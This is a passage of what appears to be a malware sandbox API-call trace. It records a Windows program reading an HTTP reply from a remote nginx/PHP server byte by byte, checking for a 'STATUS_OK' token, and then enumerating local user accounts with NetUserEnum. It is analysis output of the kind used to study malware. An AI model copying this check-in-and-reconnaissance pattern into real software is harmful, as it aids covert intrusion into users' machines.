buf=0x21f427*) returned 1 [0057.431] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.431] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.431] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.431] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.431] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.431] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.431] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.431] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.431] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.431] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.431] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.431] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.431] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.431] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.431] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.431] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0057.431] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.431] IStream:LockRegion (This=0x2e7fa0, libOffset=0x1, cb=0x0, dwLockType=0x0) returned 0x0 [0057.431] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.431] IStream:LockRegion (This=0x2e7fa0, libOffset=0x2, cb=0x0, dwLockType=0x0) returned 0x0 [0057.431] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.431] IStream:LockRegion (This=0x2e7fa0, libOffset=0x3, cb=0x0, dwLockType=0x0) returned 0x0 [0057.431] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.431] IStream:LockRegion (This=0x2e7fa0, libOffset=0x4, cb=0x0, dwLockType=0x0) returned 0x0 [0057.431] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.431] IStream:LockRegion (This=0x2e7fa0, libOffset=0x5, cb=0x0, dwLockType=0x0) returned 0x0 [0057.431] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.431] IStream:LockRegion (This=0x2e7fa0, libOffset=0x6, cb=0x0, dwLockType=0x0) returned 0x0 [0057.431] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.431] IStream:LockRegion (This=0x2e7fa0, libOffset=0x7, cb=0x0, dwLockType=0x0) returned 0x0 [0057.431] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.431] IStream:LockRegion (This=0x2e7fa0, libOffset=0x8, cb=0x0, dwLockType=0x0) returned 0x0 [0057.431] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.431] IStream:LockRegion (This=0x2e7fa0, libOffset=0x9, cb=0x0, dwLockType=0x0) returned 0x0 [0057.431] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.432] IStream:LockRegion (This=0x2e7fa0, libOffset=0xa, cb=0x0, dwLockType=0x0) returned 0x0 [0057.432] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.432] IStream:LockRegion (This=0x2e7fa0, libOffset=0xb, cb=0x0, dwLockType=0x0) returned 0x0 [0057.432] IStream:SetSize (This=0x2e7fa0, libNewSize=0x21f41c) returned 0x0 [0057.432] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.432] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.432] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.432] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.432] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.432] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.432] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.432] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.432] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.432] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.432] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.432] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.432] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.432] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.432] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.432] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.432] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.432] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.432] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.432] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.432] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.432] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.432] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.432] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.432] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.432] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.432] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.432] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.432] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.432] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.432] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.433] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.433] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.433] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.433] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.433] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.433] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.433] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.433] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.433] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.433] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.433] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.433] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.433] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.433] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.433] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.433] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.433] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.433] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.433] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.433] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.433] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.433] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.433] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.433] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.433] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.433] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.433] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.433] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.433] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.433] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.433] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.433] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.433] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.433] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.433] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.433] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.433] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.434] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.434] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.434] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.434] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.434] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.434] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.434] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.434] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.434] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.434] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.434] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.434] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.434] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.434] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.434] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.434] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.434] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.434] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.434] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.434] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.434] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.434] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.434] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.434] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.434] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.434] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.434] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.434] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.434] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.434] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.434] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.434] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.434] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.434] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.434] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.434] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.434] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.434] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.435] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.435] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.435] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.435] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.435] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.435] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.435] recv (in: s=0x228, buf=0x21f427, len=1, flags=0 | out: buf=0x21f427*) returned 1 [0057.435] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f427) returned 0x0 [0057.435] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.435] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.435] StrStrIA (lpFirst="HTTP/1.1 200 OK\r\nServer: nginx/1.10.2\r\nDate: Mon, 21 Aug 2017 21:04:44 GMT\r\nContent-Type: text/html\r\nConnection: close\r\nX-Powered-By: PHP/5.4.45\r\n\r\n", lpSrch="Content-Length:") returned 0x0 [0057.435] StrStrIA (lpFirst="HTTP/1.1 200 OK\r\nServer: nginx/1.10.2\r\nDate: Mon, 21 Aug 2017 21:04:44 GMT\r\nContent-Type: text/html\r\nConnection: close\r\nX-Powered-By: PHP/5.4.45\r\n\r\n", lpSrch="Location:") returned 0x0 [0057.435] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0057.435] IStream:Stat (in: This=0x2e7fa0, pstatstg=0x0, grfStatFlag=0x0 | out: pstatstg=0x0) returned 0x0 [0057.435] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.435] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.435] recv (in: s=0x228, buf=0x21f430, len=2048, flags=0 | out: buf=0x21f430*) returned 13 [0057.435] IStream:Commit (This=0x2e7fa0, grfCommitFlags=0x21f430) returned 0x0 [0057.435] select (in: nfds=0, readfds=0x21f2ec, writefds=0x0, exceptfds=0x0, timeout=0x21f2e4 | out: readfds=0x21f2ec, writefds=0x0, exceptfds=0x0) returned 1 [0057.435] recv (in: s=0x228, buf=0x21f430, len=2048, flags=0 | out: buf=0x21f430) returned 0 [0057.435] IStream:LockRegion (This=0x2e7fa0, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.435] CMemStm::Clone () returned 0x0 [0057.435] IUnknown:Release (This=0x2e7fa0) returned 0x0 [0057.435] LocalFree (hMem=0x310e10) returned 0x0 [0057.435] closesocket (s=0x228) returned 0 [0057.435] LocalFree (hMem=0x307468) returned 0x0 [0057.435] LocalFree (hMem=0x309578) returned 0x0 [0057.435] LocalFree (hMem=0x3084f0) returned 0x0 [0057.436] LocalFree (hMem=0x30a600) returned 0x0 [0057.436] GlobalUnlock (hMem=0x220004) returned 0 [0057.436] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.437] GetHGlobalFromStream (in: pstm=0x30d808, phglobal=0x21fcc0 | out: phglobal=0x21fcc0) returned 0x0 [0057.437] IStream:LockRegion (This=0x30d808, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.437] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x2da360 [0057.437] GlobalLock (hMem=0x220014) returned 0x2fe9f8 [0057.437] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0057.437] GetProcAddress (hModule=0x77720000, lpProcName="memmove") returned 0x77758f50 [0057.437] GlobalUnlock (hMem=0x220014) returned 0 [0057.437] IStream:LockRegion (This=0x30d808, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.437] StrStrIA (lpFirst="CG}ïÛé\x06Z\x95+\x94\x8c³", lpSrch="STATUS_OK") returned 0x0 [0057.437] LocalFree (hMem=0x2da360) returned 0x0 [0057.437] GetHGlobalFromStream (in: pstm=0x30d808, phglobal=0x21fbb0 | out: phglobal=0x21fbb0) returned 0x0 [0057.437] IStream:LockRegion (This=0x30d808, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.437] GlobalLock (hMem=0x220014) returned 0x2fe9f8 [0057.437] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x2da360 [0057.437] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0057.437] GetProcAddress (hModule=0x77720000, lpProcName="memmove") returned 0x77758f50 [0057.437] GlobalUnlock (hMem=0x220014) returned 0 [0057.437] IStream:LockRegion (This=0x30d808, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0057.437] IStream:Stat (in: This=0x30d808, pstatstg=0x0, grfStatFlag=0x0 | out: pstatstg=0x0) returned 0x0 [0057.438] IStream:Commit (This=0x30d808, grfCommitFlags=0x2da364) returned 0x0 [0057.438] LocalFree (hMem=0x2da360) returned 0x0 [0057.438] IStream:LockRegion (This=0x30d808, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.438] GetHGlobalFromStream (in: pstm=0x30d808, phglobal=0x21fcc0 | out: phglobal=0x21fcc0) returned 0x0 [0057.438] IStream:LockRegion (This=0x30d808, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.438] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x2da360 [0057.438] GlobalLock (hMem=0x220014) returned 0x2fe9f8 [0057.438] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77720000 [0057.438] GetProcAddress (hModule=0x77720000, lpProcName="memmove") returned 0x77758f50 [0057.438] GlobalUnlock (hMem=0x220014) returned 0 [0057.438] IStream:LockRegion (This=0x30d808, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.438] StrStrIA (lpFirst="STATUS_OK", lpSrch="STATUS_OK") returned="STATUS_OK" [0057.438] LocalFree (hMem=0x2da360) returned 0x0 [0057.438] IUnknown:Release (This=0x30d808) returned 0x0 [0057.438] IUnknown:Release (This=0x2c1a58) returned 0x0 [0057.438] NetUserEnum (in: servername=0x0, level=0x3, filter=0x2, bufptr=0x21fea4, prefmaxlen=0xffffffff, entriesread=0x21fe9c, totalentries=0x21fe94, resume_handle=0x21fe98 | out: bufptr=0x310e10*=([0]=0x310e10*(usri3_name="Administrator", usri3_password=0x0, usri3_password_age=0xcb2b242, usri3_priv=0x2, usri3_home_dir="", usri3_comment="Built-in account for administering the computer/domain", usri3_flags=0x10203, usri3_script_path="", usri3_auth_flags=0x0, usri3_full_name="", usri3_usr_comment="", usri3_parms="", usri3_workstations="", usri3_last_logon=0x4ce89648, usri3_last_logoff=0x0, usri3_acct_expires=0xffffffff, usri3_max_storage=0xffffffff, usri3_units_per_week=0xa8, usri3_logon_hours=0x314def, usri3_bad_pw_count=0x103, usri3_num_logons=0x6, usri3_logon_server="\\\\*", usri3_country_code=0x0, usri3_code_page=0x0, usri3_user_id=0x1f4, usri3_primary_group_id=0x201, usri3_profile="", usri3_home_dir_drive="", usri3_password_expired=0x0), [1]=0x310e84*(usri3_name="aDU0VK IWA5kLS", usri3_password=0x0, usri3_password_age=0x4e6bdf, usri3_priv=0x2, usri3_home_dir="", usri3_comment="", usri3_flags=0x10201, usri3_script_path="", usri3_auth_flags=0x0, usri3_full_name="", usri3_usr_comment="", usri3_parms="", usri3_workstations="", usri3_last_logon=0x597871da, usri3_last_logoff=0x0, usri3_acct_expires=0xffffffff, usri3_max_storage=0xffffffff, usri3_units_per_week=0xa8, usri3_logon_hours=0x314d37, usri3_bad_pw_count=0x0, usri3_num_logons=0x11, usri3_logon_server="\\\\*", usri3_country_code=0x1, usri3_code_page=0x4e4, usri3_user_id=0x3e8, usri3_primary_group_id=0x201, usri3_profile="", usri3_home_dir_drive="", usri3_password_expired=0x0), [2]=0x310ef8*(usri3_name="Guest", usri3_password=0x0, usri3_password_age=0x0, usri3_priv=0x0, usri3_home_dir="", usri3_comment="Built-in account for guest access to the computer/domain", usri3_flags=0x10263, usri3_script_path="", usri3_auth_flags=0x0, usri3_full_name="", usri3_usr_comment="", usri3_parms="", usri3_workstations="", usri3_last_logon=0x0, usri3_last_logoff=0x0, usri3_acct_expires=0xffffffff, usri3_max_storage=0xffffffff, usri3_units_per_week=0xa8, usri3_logon_hours=0x314ce9, usri3_bad_pw_count=0x103, usri3_num_logons=0x0, usri3_logon_server="\\\\*", usri3_country_code=0x0, usri3_code_page=0x0, usri3_user_id=0x1f5, usri3_primary_group_id=0x201, usri3_profile="", usri3_home_dir_drive="", usri3_password_expired=0x0)), entriesread=0x21fe9c, totalentries=0x21fe94, resume_handle=0x21fe98) returned 0x0 [0057.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0057.461] LocalAlloc (uFlags=0x40, uBytes=0x81) returned 0x304630 [0057.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=-1, lpMultiByteStr=0x304630, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0057.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Administrator", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0057.461] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x2da360 [0057.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Administrator", cchWideChar=-1, lpMultiByteStr=0x2da360, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Administrator", lpUsedDefaultChar=0x0) returned 14 [0057.461] LocalAlloc (uFlags=0x40, uBytes=0x8c) returned 0x2da3f8 [0057.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0057.461] LocalAlloc (uFlags=0x40, uBytes=0x81) returned 0x3046c0 [0057.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=-1, lpMultiByteStr=0x3046c0, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 1 [0057.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aDU0VK IWA5kLS", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 